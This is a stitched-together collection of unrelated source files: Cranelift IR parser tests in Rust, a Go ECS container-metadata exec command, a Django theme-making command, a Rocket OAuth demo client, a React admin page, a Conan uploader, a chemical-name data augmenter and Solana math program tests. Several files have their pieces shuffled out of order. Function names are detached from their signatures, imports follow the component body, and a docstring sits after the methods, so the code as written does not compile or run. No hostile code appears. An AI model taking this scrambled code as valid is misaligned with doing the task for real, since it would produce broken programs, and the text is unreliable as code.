self.match_regunit(ctx.unique_isa)?; self.match_token(Token::Arrow, "expected '->' between register units")?; let dst = self.match_regunit(ctx.unique_isa)?; InstructionData::RegMove { opcode, arg, src, dst, } } InstructionFormat::CopySpecial => { let src = self.match_regunit(ctx.unique_isa)?; self.match_token(Token::Arrow, "expected '->' between register units")?; let dst = self.match_regunit(ctx.unique_isa)?; InstructionData::CopySpecial { opcode, src, dst } } InstructionFormat::CopyToSsa => InstructionData::CopyToSsa { opcode, src: self.match_regunit(ctx.unique_isa)?, }, InstructionFormat::RegSpill => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let src = self.match_regunit(ctx.unique_isa)?; self.match_token(Token::Arrow, "expected '->' before destination stack slot")?; let dst = self.match_ss("expected stack slot number: ss«n»")?; ctx.check_ss(dst, self.loc)?; InstructionData::RegSpill { opcode, arg, src, dst, } } InstructionFormat::RegFill => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let src = self.match_ss("expected stack slot number: ss«n»")?; ctx.check_ss(src, self.loc)?; self.match_token( Token::Arrow, "expected '->' before destination register units", )?; let dst = self.match_regunit(ctx.unique_isa)?; InstructionData::RegFill { opcode, arg, src, dst, } } InstructionFormat::Trap => { let code = self.match_enum("expected trap code")?; InstructionData::Trap { opcode, code } } InstructionFormat::CondTrap => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let code = self.match_enum("expected trap code")?; InstructionData::CondTrap { opcode, arg, code } } InstructionFormat::IntCondTrap => { let cond = self.match_enum("expected intcc condition code")?; let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let code = self.match_enum("expected trap code")?; InstructionData::IntCondTrap { opcode, cond, arg, code, } } InstructionFormat::FloatCondTrap => { let cond = self.match_enum("expected floatcc condition code")?; let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let code = self.match_enum("expected trap code")?; InstructionData::FloatCondTrap { opcode, cond, arg, code, } } }; Ok(idata) } } #[cfg(test)] mod tests { use super::*; use crate::error::ParseError; use crate::isaspec::IsaSpec; use crate::testfile::{Comment, Details}; use cranelift_codegen::ir::entities::AnyEntity; use cranelift_codegen::ir::types; use cranelift_codegen::ir::StackSlotKind; use cranelift_codegen::ir::{ArgumentExtension, ArgumentPurpose}; use cranelift_codegen::isa::CallConv; #[test] fn argument_type() { let mut p = Parser::new("i32 sext"); let arg = p.parse_abi_param(None).unwrap(); assert_eq!(arg.value_type, types::I32); assert_eq!(arg.extension, ArgumentExtension::Sext); assert_eq!(arg.purpose, ArgumentPurpose::Normal); let ParseError { location, message, is_warning, } = p.parse_abi_param(None).unwrap_err(); assert_eq!(location.line_number, 1); assert_eq!(message, "expected parameter type"); assert!(!is_warning); } #[test] fn aliases() { let (func, details) = Parser::new( "function %qux() system_v { ebb0: v4 = iconst.i8 6 v3 -> v4 v1 = iadd_imm v3, 17 }", ) .parse_function(None) .unwrap(); assert_eq!(func.name.to_string(), "%qux"); let v4 = details.map.lookup_str("v4").unwrap(); assert_eq!(v4.to_string(), "v4"); let v3 = details.map.lookup_str("v3").unwrap(); assert_eq!(v3.to_string(), "v3"); match v3 { AnyEntity::Value(v3) => { let aliased_to = func.dfg.resolve_aliases(v3); assert_eq!(aliased_to.to_string(), "v4"); } _ => panic!("expected value: {}", v3), } } #[test] fn signature() { let sig = Parser::new("()system_v").parse_signature(None).unwrap(); assert_eq!(sig.params.len(), 0); assert_eq!(sig.returns.len(), 0); assert_eq!(sig.call_conv, CallConv::SystemV); let sig2 = Parser::new("(i8 uext, f32, f64, i32 sret) -> i32 sext, f64 baldrdash_system_v") .parse_signature(None) .unwrap(); assert_eq!( sig2.to_string(), "(i8 uext, f32, f64, i32 sret) -> i32 sext, f64 baldrdash_system_v" ); assert_eq!(sig2.call_conv, CallConv::BaldrdashSystemV); // Old-style signature without a calling convention. assert_eq!( Parser::new("()").parse_signature(None).unwrap().to_string(), "() fast" ); assert_eq!( Parser::new("() notacc") .parse_signature(None) .unwrap_err() .to_string(), "1: unknown calling convention: notacc" ); // `void` is not recognized as a type by the lexer. It should not appear in files. assert_eq!( Parser::new("() -> void") .parse_signature(None) .unwrap_err() .to_string(), "1: expected parameter type" ); assert_eq!( Parser::new("i8 -> i8") .parse_signature(None) .unwrap_err() .to_string(), "1: expected function signature: ( args... )" ); assert_eq!( Parser::new("(i8 -> i8") .parse_signature(None) .unwrap_err() .to_string(), "1: expected ')' after function arguments" ); } #[test] fn stack_slot_decl() { let (func, _) = Parser::new( "function %foo() system_v { ss3 = incoming_arg 13 ss1 = spill_slot 1 }", ) .parse_function(None) .unwrap(); assert_eq!(func.name.to_string(), "%foo"); let mut iter = func.stack_slots.keys(); let _ss0 = iter.next().unwrap(); let ss1 = iter.next().unwrap(); assert_eq!(ss1.to_string(), "ss1"); assert_eq!(func.stack_slots[ss1].kind, StackSlotKind::SpillSlot); assert_eq!(func.stack_slots[ss1].size, 1); let _ss2 = iter.next().unwrap(); let ss3 = iter.next().unwrap(); assert_eq!(ss3.to_string(), "ss3"); assert_eq!(func.stack_slots[ss3].kind, StackSlotKind::IncomingArg); assert_eq!(func.stack_slots[ss3].size, 13); assert_eq!(iter.next(), None); // Catch duplicate definitions. assert_eq!( Parser::new( "function %bar() system_v { ss1 = spill_slot 13 ss1 = spill_slot 1 }", ) .parse_function(None) .unwrap_err() .to_string(), "3: duplicate entity: ss1" ); } #[test] fn ebb_header() { let (func, _) = Parser::new( "function %ebbs() system_v { ebb0: ebb4(v3: i32): }", ) .parse_function(None) .unwrap(); assert_eq!(func.name.to_string(), "%ebbs"); let mut ebbs = func.layout.ebbs(); let ebb0 = ebbs.next().unwrap(); assert_eq!(func.dfg.ebb_params(ebb0), &[]); let ebb4 = ebbs.next().unwrap(); let ebb4_args = func.dfg.ebb_params(ebb4); assert_eq!(ebb4_args.len(), 1); assert_eq!(func.dfg.value_type(ebb4_args[0]), types::I32); } #[test] fn duplicate_ebb() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { ebb0: ebb0: return 2", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: ebb0"); assert!(!is_warning); } #[test] fn duplicate_jt() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { jt0 = jump_table [] jt0 = jump_table []", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: jt0"); assert!(!is_warning); } #[test] fn duplicate_ss() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { ss0 = explicit_slot 8 ss0 = explicit_slot 8", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: ss0"); assert!(!is_warning); } #[test] fn duplicate_gv() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { gv0 = vmctx gv0 = vmctx", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: gv0"); assert!(!is_warning); } #[test] fn duplicate_heap() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { heap0 = static gv0, min 0x1000, bound 0x10_0000, offset_guard 0x1000 heap0 = static gv0, min 0x1000, bound 0x10_0000, offset_guard 0x1000", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: heap0"); assert!(!is_warning); } #[test] fn duplicate_sig() { le
{ location, message, is_warning, } = Parser::new( "function %ebbs() system_v { sig0 = () sig0 = ()", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 3); assert_eq!(message, "duplicate entity: sig0"); assert!(!is_warning); } #[test] fn duplicate_fn() { let ParseError { location, message, is_warning, } = Parser::new( "function %ebbs() system_v { sig0 = () fn0 = %foo sig0 fn0 = %foo sig0", ) .parse_function(None) .unwrap_err(); assert_eq!(location.line_number, 4); assert_eq!(message, "duplicate entity: fn0"); assert!(!is_warning); } #[test] fn comments() { let (func, Details { comments, .. }) = Parser::new( "; before function %comment() system_v { ; decl ss10 = outgoing_arg 13 ; stackslot. ; Still stackslot. jt10 = jump_table [ebb0] ; Jumptable ebb0: ; Basic block trap user42; Instruction } ; Trailing. ; More trailing.", ) .parse_function(None) .unwrap(); assert_eq!(func.name.to_string(), "%comment"); assert_eq!(comments.len(), 8); // no 'before' comment. assert_eq!( comments[0], Comment { entity: AnyEntity::Function, text: "; decl", } ); assert_eq!(comments[1].entity.to_string(), "ss10"); assert_eq!(comments[2].entity.to_string(), "ss10"); assert_eq!(comments[2].text, "; Still stackslot."); assert_eq!(comments[3].entity.to_string(), "jt10"); assert_eq!(comments[3].text, "; Jumptable"); assert_eq!(comments[4].entity.to_string(), "ebb0"); assert_eq!(comments[4].text, "; Basic block"); assert_eq!(comments[5].entity.to_string(), "inst0"); assert_eq!(comments[5].text, "; Instruction"); assert_eq!(comments[6].entity, AnyEntity::Function); assert_eq!(comments[7].entity, AnyEntity::Function); } #[test] fn test_file() { let tf = parse_test( r#"; before test cfg option=5 test verify set enable_float=false feature "foo" feature !"bar" ; still preamble function %comment() system_v {}"#, ParseOptions::default(), ) .unwrap(); assert_eq!(tf.commands.len(), 2); assert_eq!(tf.commands[0].command, "cfg"); assert_eq!(tf.commands[1].command, "verify"); match tf.isa_spec { IsaSpec::None(s) => { assert!(s.enable_verifier()); assert!(!s.enable_float()); } _ => panic!("unexpected ISAs"), } assert_eq!(tf.features[0], Feature::With(&"foo")); assert_eq!(tf.features[1], Feature::Without(&"bar")); assert_eq!(tf.preamble_comments.len(), 2); assert_eq!(tf.preamble_comments[0].text, "; before"); assert_eq!(tf.preamble_comments[1].text, "; still preamble"); assert_eq!(tf.functions.len(), 1); assert_eq!(tf.functions[0].0.name.to_string(), "%comment"); } #[test] #[cfg(feature = "riscv")] fn isa_spec() { assert!(parse_test( "target function %foo() system_v {}", ParseOptions::default() ) .is_err()); assert!(parse_test( "target riscv32 set enable_float=false function %foo() system_v {}", ParseOptions::default() ) .is_err()); match parse_test( "set enable_float=false isa riscv function %foo() system_v {}", ParseOptions::default(), ) .unwrap() .isa_spec { IsaSpec::None(_) => panic!("Expected some ISA"), IsaSpec::Some(v) => { assert_eq!(v.len(), 1); assert_eq!(v[0].name(), "riscv"); } } } #[test] fn user_function_name() { // Valid characters in the name: let func = Parser::new( "function u1:2() system_v { ebb0: trap int_divz }", ) .parse_function(None) .unwrap() .0; assert_eq!(func.name.to_string(), "u1:2"); // Invalid characters in the name: let mut parser = Parser::new( "function u123:abc() system_v { ebb0: trap stk_ovf }", ); assert!(parser.parse_function(None).is_err()); // Incomplete function names should not be valid: let mut parser = Parser::new( "function u() system_v { ebb0: trap int_ovf }", ); assert!(parser.parse_function(None).is_err()); let mut parser = Parser::new( "function u0() system_v { ebb0: trap int_ovf }", ); assert!(parser.parse_function(None).is_err()); let mut parser = Parser::new( "function u0:() system_v { ebb0: trap int_ovf }", ); assert!(parser.parse_function(None).is_err()); } #[test] fn change_default_calling_convention() { let code = "function %test() { ebb0: return }"; // By default the parser will use the fast calling convention if none is specified. let mut parser = Parser::new(code); assert_eq!( parser.parse_function(None).unwrap().0.signature.call_conv, CallConv::Fast ); // However, we can specify a different calling convention to be the default. let mut parser = Parser::new(code).with_default_calling_convention(CallConv::Cold); assert_eq!( parser.parse_function(None).unwrap().0.signature.call_conv, CallConv::Cold ); } #[test] fn uimm128() { macro_rules! parse_as_uimm128 { ($text:expr, $type:expr) => {{ Parser::new($text).parse_literals_to_uimm128($type) }}; } macro_rules! can_parse_as_uimm128 { ($text:expr, $type:expr) => {{ assert!(parse_as_uimm128!($text, $type).is_ok()) }}; } macro_rules! cannot_parse_as_uimm128 { ($text:expr, $type:expr) => {{ assert!(parse_as_uimm128!($text, $type).is_err()) }}; } can_parse_as_uimm128!("1 2 3 4", I32X4); can_parse_as_uimm128!("1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16", I8X16); can_parse_as_uimm128!("0x1.1 0x2.2 0x3.3 0x4.4", F32X4); can_parse_as_uimm128!("true false true false true false true false", B16X8); can_parse_as_uimm128!("0 -1", I64X2); can_parse_as_uimm128!("true false", B64X2); can_parse_as_uimm128!("true true true true true", B32X4); // note that parse_literals_to_uimm128 will leave extra tokens unconsumed cannot_parse_as_uimm128!("0x0 0x1 0x2 0x3", I32X4); cannot_parse_as_uimm128!("1 2 3", I32X4); cannot_parse_as_uimm128!(" ", F32X4); } }
t ParseError
exec.go
package cmd import ( "encoding/json" "fmt" "github.com/pkg/errors" "io/ioutil" "os" "strings" "time" "github.com/spf13/cobra" ) // Network is the type task network mode setting type Network struct { NetworkMode string `json:"NetworkMode"` IPv4Addresses []string `json:"IPv4Addresses"` } // PortMapping is the type task port mapping setting type PortMapping struct { ContainerPort int64 `json:"ContainerPort"` HostPort int64 `json:"HostPort"` BindIP string `json:"BindIp"` Protocol string `json:"Protocol"` } // ContainerMeta is the struct for ecs task meta data type ContainerMeta struct { // https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/container-metadata.html Cluster string `json:"Cluster"` ContainerInstanceARN string `json:"ContainerInstanceARN"` TaskARN string `json:"TaskARN"` ContainerName string `json:"ContainerName"` ContainerID *string `json:"ContainerID"` DockerContainerName *string `json:"DockerContainerName"` ImageID *string `json:"ImageID"` ImageName *string `json:"ImageName"` PortMappings []*PortMapping `json:"PortMappings"` Networks []*Network `json:"Networks"` MetadataFileStatus *string `json:"MetadataFileStatus"` } func
(metadataFilePath string) (*ContainerMeta, error) { var containerMeta ContainerMeta bytes, err := ioutil.ReadFile(metadataFilePath) if err != nil { return nil, errors.Wrap(err, "Failed to open ECS_CONTAINER_METADATA_FILE") } if err := json.Unmarshal(bytes, &containerMeta); err != nil { return nil, errors.Wrap(err, "Failed to parse ECS_CONTAINER_METADATA_FILE") } return &containerMeta, nil } func execRun(cmd *cobra.Command, args []string) error { dashIx := cmd.ArgsLenAtDash() command, commandArgs := args[dashIx], args[dashIx+1:] env := environ(os.Environ()) // Read $ECS_CONTAINER_METADATA_FILE metadataFilePath, res := os.LookupEnv("ECS_CONTAINER_METADATA_FILE") if !res { return errors.New("Failed to find ECS_CONTAINER_METADATA_FILE environment") } // Read meta file until state is ready tryCount := 10 for i := 0; i < tryCount; i++ { // parse and export port mappings containerMeta, err := readMetaFile(metadataFilePath) if err != nil { return err } if containerMeta.MetadataFileStatus == nil || *containerMeta.MetadataFileStatus != "READY" { if i == (tryCount - 1) { return errors.New("Failed to read ECS_CONTAINER_METADATA_FILE file, because it is not ready") } time.Sleep(1 * time.Second) continue } setEnvironments(containerMeta, &env) break // if file reading succeeded, break the loop } return exec(command, commandArgs, env) } func setEnvironments(containerMeta *ContainerMeta, env *environ) { // 1. set env keys into envs envs := map[string]string{} putEnvKeyValue := func (key, value string) { _, exist := envs[key] if exist { fmt.Fprintf(os.Stderr, "warning: overwriting environment variable %s\n", key) } envs[key] = value } // container id mapping putEnvKeyValue("CONTAINER_ID", *containerMeta.ContainerID) // port mapping for _, portMapping := range containerMeta.PortMappings { protocol := strings.ToUpper(portMapping.Protocol) containerPort := fmt.Sprintf("%d", portMapping.ContainerPort) value := fmt.Sprintf("%d", portMapping.HostPort) key := fmt.Sprintf("PORT_%s_%s", protocol, containerPort) putEnvKeyValue(key, value) } // 2. set environment from envs for key, value := range envs { env.Set(key, value) if verbose { fmt.Fprintf(os.Stdout, "info: With environment %s=%s\n", key, value) } } } // environ is a slice of strings representing the environment, in the form "key=value". type environ []string // Unset an environment variable by key func (e *environ) Unset(key string) { for i := range *e { if strings.HasPrefix((*e)[i], key+"=") { (*e)[i] = (*e)[len(*e)-1] *e = (*e)[:len(*e)-1] break } } } // IsSet returns whether or not a key is currently set in the environ func (e *environ) IsSet(key string) bool { for i := range *e { if strings.HasPrefix((*e)[i], key+"=") { return true } } return false } // Set adds an environment variable, replacing any existing ones of the same key func (e *environ) Set(key, val string) { e.Unset(key) *e = append(*e, key+"="+val) }
readMetaFile
make_theme.py
from shutil import copyfile from pathlib import Path from django.apps import apps from django.conf import settings from django.core.management.base import BaseCommand class Command(BaseCommand): def
(self, options): self.theme_name = options['name'] self.theme_path = Path(options['name']) self.rdmo_path = Path(apps.get_app_config('rdmo').path) self.local_path = Path().cwd() / 'config' / 'settings' / 'local.py' def copy(self, path): source_path = self.rdmo_path / path target_path = self.theme_path / Path(*path.parts[1:]) if target_path.exists(): print('Skip {} -> {}. Target file exists.'.format(source_path, target_path)) else: print('Copy {} -> {}.'.format(source_path, target_path)) target_path.parent.mkdir(parents=True, exist_ok=True) copyfile(source_path, target_path) def enable_theme(self): settings_line = 'INSTALLED_APPS = [\'{}\'] + INSTALLED_APPS'.format(self.theme_name) replaced = False local_settings = self.local_path.read_text().splitlines() for i, line in enumerate(local_settings): if line == settings_line: # return if the line is already there return if line == '# ' + settings_line: local_settings[i] = settings_line replaced = True if not replaced: local_settings.append('') local_settings.append(settings_line) local_settings.append('') self.local_path.write_text('\n'.join(local_settings)) def add_arguments(self, parser): parser.add_argument('--name', action='store', default='rdmo_theme', help='Module name for the theme.') parser.add_argument('--file', action='store', help='Copy specific file/template, e.g. core/static/css/variables.scss.') def handle(self, *args, **options): self.setup(options) if options['file']: self.copy(Path(options['file'])) else: self.theme_path.mkdir(exist_ok=True) self.theme_path.joinpath('__init__.py').touch() self.theme_path.joinpath('locale').mkdir(exist_ok=True) self.copy(Path('core') / 'static' / 'core' / 'css' / 'variables.scss') for language, language_string in settings.LANGUAGES: self.copy(Path('core') / 'templates' / 'core' / 'home_text_{}.html'.format(language)) self.copy(Path('core') / 'templates' / 'core' / 'about_text_{}.html'.format(language)) self.copy(Path('core') / 'templates' / 'core' / 'footer_text_{}.html'.format(language)) print('Enable theme by adding the necessary config line.') self.enable_theme() print('Done')
setup
set.spec.ts
import { set } from '../lib/d0s/set'; describe('set values on context', () => { it('should set value to primitive', async () => { let action = set('testValue', () => 'SETIT'); let result = await action({} as any); expect(result).toEqual({ testValue: 'SETIT', }); }); it('should set value to primitive using context value', async () => { let action = set('square', ({ square }: { square: number }) => square * square); let result = await action({ square: 5 }); expect(result).toEqual({ square: 25, });
}); });
mod.rs
use oxide_auth::endpoint::PreGrant; use reqwest::header; use rocket::fairing::{Fairing, Info, Kind}; use rocket::http::Status; use rocket::request::{self, FromRequest}; use rocket::response::content::Html; use rocket::response::status::Custom; use rocket::response::Redirect; use rocket::{Request, Rocket, State}; use std::collections::HashMap; use std::io::Read; use std::sync::{Mutex, MutexGuard}; pub struct ClientFairing; impl Fairing for ClientFairing { fn info(&self) -> Info { Info { name: "Simple oauth client implementation", kind: Kind::Attach, } } fn on_attach(&self, rocket: Rocket) -> Result<Rocket, Rocket> { Ok(rocket
.manage(ClientState { token: Mutex::new(None), }) .mount( "/clientside", routes![oauth_endpoint, client_view, client_debug], )) } } struct ClientState { token: Mutex<Option<String>>, } struct Token<'r> { inner: MutexGuard<'r, Option<String>>, } #[get("/endpoint?<code>&<error>")] fn oauth_endpoint( code: Option<String>, error: Option<String>, mut guard: Token, ) -> Result<Redirect, String> { if let Some(error) = error { return Err(format!("Error during owner authorization: {:?}", error)); } if let Some(code) = code { let token = retrieve_token(code)?; *guard.inner = Some(token); return Ok(Redirect::found("/clientside")); } Err(format!("Endpoint hit without an authorization code")) } #[get("/")] fn client_view<'r>(guard: Token<'r>) -> Result<Html<String>, Custom<&'static str>> { let token = match *guard.inner { Some(ref token) => token, None => return Err(Custom(Status::PreconditionFailed, "No token retrieved yet")), }; let protected_page = retrieve_protected_page(token).unwrap_or_else(|err| format!("Error: {}", err)); let token = token.replace(",", ",</br>"); let display_page = format!( "<html><style> aside{{overflow: auto; word-break: keep-all; white-space: nowrap}} main{{text-align: center}} main>aside,main>article{{margin: auto; text-align: left; border: 1px solid black; width: 50%}} </style> <main> Used token <aside style>{}</aside> to access <a href=\"http://localhost:8020/\">http://localhost:8020/</a>. Its contents are: <article>{:?}</article> </main></html>", token, protected_page); Ok(Html(display_page)) } #[get("/debug")] fn client_debug(guard: Token) -> String { match *guard.inner { Some(ref token) => token.to_owned(), None => "".to_owned(), } } fn retrieve_token(code: String) -> Result<String, String> { // Construct a request against http://localhost:8020/token, the access token endpoint let client = reqwest::Client::new(); let mut params = HashMap::new(); params.insert("grant_type", "authorization_code"); params.insert("client_id", "LocalClient"); params.insert("code", &code); params.insert("redirect_uri", "http://localhost:8000/clientside/endpoint"); let access_token_request = client .post("http://localhost:8000/token") .form(&params) .build() .unwrap(); let mut token_response = match client.execute(access_token_request) { Ok(response) => response, Err(_) => return Err("Could not fetch bearer token".into()), }; let mut token = String::new(); token_response.read_to_string(&mut token).unwrap(); let token_map: HashMap<String, String> = match serde_json::from_str(&token) { Ok(token_map) => token_map, Err(err) => { return Err(format!( "Error unwrapping json response, got {:?} instead", err )) } }; if let Some(err) = token_map.get("error") { return Err(format!("Error fetching bearer token: {:?}", err)); } if let Some(token) = token_map.get("access_token") { return Ok(token.to_owned()); } Err("Token response neither error nor token".into()) } fn retrieve_protected_page(token: &str) -> Result<String, String> { let client = reqwest::Client::new(); // Request the page with the oauth token let page_request = client .get("http://localhost:8000/") .header(header::AUTHORIZATION, "Bearer ".to_string() + token) .build() .unwrap(); let mut page_response = match client.execute(page_request) { Ok(response) => response, Err(_) => return Err("Could not access protected resource".into()), }; let mut protected_page = String::new(); page_response.read_to_string(&mut protected_page).unwrap(); Ok(protected_page) } impl<'a, 'r> FromRequest<'a, 'r> for Token<'r> { type Error = (); fn from_request(request: &'a Request<'r>) -> request::Outcome<Self, Self::Error> { request.guard::<State<'r, ClientState>>().map(|ok| Token { inner: ok.inner().token.lock().unwrap(), }) } } /// Try to open the server url `http://localhost:8020` in the browser, or print a guiding statement /// to the console if this is not possible. pub fn open_in_browser() { use std::io::{Error, ErrorKind}; use std::process::Command; let target_addres = "http://localhost:8020/"; // As suggested by <https://stackoverflow.com/questions/3739327/launching-a-website-via-windows-commandline> let open_with = if cfg!(target_os = "linux") { // `xdg-open` chosen over `x-www-browser` due to problems with the latter (#25) Ok("xdg-open") } else if cfg!(target_os = "windows") { Ok("explorer") } else if cfg!(target_os = "macos") { Ok("open") } else { Err(Error::new(ErrorKind::Other, "Open not supported")) }; open_with .and_then(|cmd| Command::new(cmd).arg(target_addres).status()) .and_then(|status| { if status.success() { Ok(()) } else { Err(Error::new(ErrorKind::Other, "Non zero status")) } }) .unwrap_or_else(|_| println!("Please navigate to {}", target_addres)); } pub fn consent_page_html(route: &str, grant: &PreGrant) -> String { macro_rules! template { () => { "<html>'{0:}' (at {1:}) is requesting permission for '{2:}' <form method=\"post\"> <input type=\"submit\" value=\"Accept\" formaction=\"{4:}?response_type=code&client_id={3:}&allow=true\"> <input type=\"submit\" value=\"Deny\" formaction=\"{4:}?response_type=code&client_id={3:}\"> </form> </html>" }; } format!( template!(), grant.client_id, grant.redirect_uri, grant.scope, grant.client_id, &route ) }
UsersAndRoles.js
import * as React from 'react' import * as M from '@material-ui/core' import * as APIConnector from 'utils/APIConnector' import MetaTitle from 'utils/MetaTitle' import * as Cache from 'utils/ResourceCache' import { Roles, Policies } from './RolesAndPolicies'
const req = APIConnector.use() // TODO: use gql for querying users when implemented const users = Cache.useData(data.UsersResource, { req }) return ( <> <MetaTitle>{['Users, Roles and Policies', 'Admin']}</MetaTitle> <M.Box mt={2}> <Users users={users} /> </M.Box> <M.Box mt={2} mb={2}> <Roles /> </M.Box> <M.Box mt={2} mb={2}> <Policies /> </M.Box> </> ) }
import Users from './Users' import * as data from './data' export default function UsersAndRoles() {
uploader.py
import os from conans.errors import ConanException, NotFoundException from conans.model.ref import PackageReference class ConanUploader(object):
def __init__(self, paths, user_io, remote_manager, remote): self._paths = paths self._user_io = user_io self._remote_manager = remote_manager self._remote = remote def upload_conan(self, conan_ref, force=False, all_packages=False): """Uploads the conans identified by conan_ref""" export_path = self._paths.export(conan_ref) if os.path.exists(export_path): if not force: self._check_package_date(conan_ref) self._user_io.out.info("Uploading %s" % str(conan_ref)) self._remote_manager.upload_conan(conan_ref, self._remote) if all_packages: for index, package_id in enumerate(self._paths.conan_packages(conan_ref)): total = len(self._paths.conan_packages(conan_ref)) self.upload_package(PackageReference(conan_ref, package_id), index + 1, total) else: self._user_io.out.error("There is no local conanfile exported as %s" % str(conan_ref)) def upload_package(self, package_ref, index=1, total=1): """Uploads the package identified by package_id""" msg = ("Uploading package %d/%d: %s" % (index, total, str(package_ref.package_id))) self._user_io.out.info(msg) self._remote_manager.upload_package(package_ref, self._remote) def _check_package_date(self, conan_ref): try: remote_conan_digest = self._remote_manager.get_conan_digest(conan_ref, self._remote) except NotFoundException: return # First upload local_digest = self._paths.load_digest(conan_ref) if remote_conan_digest.time > local_digest.time: raise ConanException("Remote conans is newer than local conans: " "\n Remote date: %s\n Local date: %s" % (remote_conan_digest.time, local_digest.time))
compound_name_augmenter.py
import copy import re from collections import defaultdict from typing import List, Dict from .substitution_augmenter import SubstitutionAugmenter from ..actions import Chemical from ..utils import extract_chemicals from paragraph2actions.misc import TextWithActions class CompoundNameAugmenter(SubstitutionAugmenter): """ Augments data by substituting compound names. """ def __init__(self, probability: float, compounds: List[str]):
def augment(self, sample: TextWithActions) -> TextWithActions: sample = copy.deepcopy(sample) chemicals = extract_chemicals(sample.actions) # Build a dictionary of compound names and associated chemicals # (necessary if the same chemical is present twice) cpd_dict: Dict[str, List[Chemical]] = defaultdict(list) for c in chemicals: cpd_dict[c.name].append(c) # remove compound names that are comprised in others; with this, if both '3-ethyltoluene' and # '2-bromo-3-ethyltoluene' are present as compounds, we will never substitute the short one. for chemical_name in list(cpd_dict.keys()): if any(chemical_name in cpd for cpd in cpd_dict.keys() if chemical_name != cpd): cpd_dict.pop(chemical_name) # For each chemical name, try substitution for cpd_name in cpd_dict: if not self.random_draw_passes() or cpd_name not in sample.text: continue new_name = self.draw_value() sample.text = self.replace_in_text( text=sample.text, compound=cpd_name, new_name=new_name ) for c in cpd_dict[cpd_name]: c.name = new_name return sample def replace_in_text(self, text: str, compound: str, new_name: str) -> str: # We replace only at word boundaries, to avoid things like 'H2SO4 -> waterSO4' when replacing 'H2' by 'water' pattern = re.compile(rf'\b{re.escape(compound)}\b') return pattern.sub(new_name, text)
""" Args: probability: probability with which to switch the compound name compounds: list of names to use for substitution """ super().__init__(probability=probability, values=compounds)
instruction_count.rs
// Mark this test as BPF-only due to current `ProgramTest` limitations when CPIing into the system program #![cfg(feature = "test-bpf")] use { solana_program_test::*, solana_sdk::{signature::Signer, transaction::Transaction}, spl_math::{id, instruction, processor::process_instruction}, }; #[tokio::test] async fn test_precise_sqrt_u64_max() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); // This is way too big! It's possible to dial down the numbers to get to // something reasonable, but the better option is to do everything in u64 pc.set_compute_max_units(350_000); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::precise_sqrt(u64::MAX)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_precise_sqrt_u32_max() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(170_000); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::precise_sqrt(u32::MAX as u64)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_sqrt_u64() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); // Dial down the BPF compute budget to detect if the operation gets bloated in the future pc.set_compute_max_units(2_500); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer(&[instruction::sqrt_u64(u64::MAX)], Some(&payer.pubkey())); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_sqrt_u128() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); // Dial down the BPF compute budget to detect if the operation gets bloated in the future pc.set_compute_max_units(4_100); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer( &[instruction::sqrt_u128(u64::MAX as u128)], Some(&payer.pubkey()), ); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_sqrt_u128_max() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(7_000); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer(&[instruction::sqrt_u128(u128::MAX)], Some(&payer.pubkey())); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_u64_multiply() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1350); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer(&[instruction::u64_multiply(42, 84)], Some(&payer.pubkey())); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_u64_divide() { let mut pc = ProgramTest::new("spl_math", id(), processor!(process_instruction)); pc.set_compute_max_units(1650); let (mut banks_client, payer, recent_blockhash) = pc.start().await; let mut transaction = Transaction::new_with_payer(&[instruction::u64_divide(3, 1)], Some(&payer.pubkey())); transaction.sign(&[&payer], recent_blockhash); banks_client.process_transaction(transaction).await.unwrap(); } #[tokio::test] async fn test_f32_multiply() { let 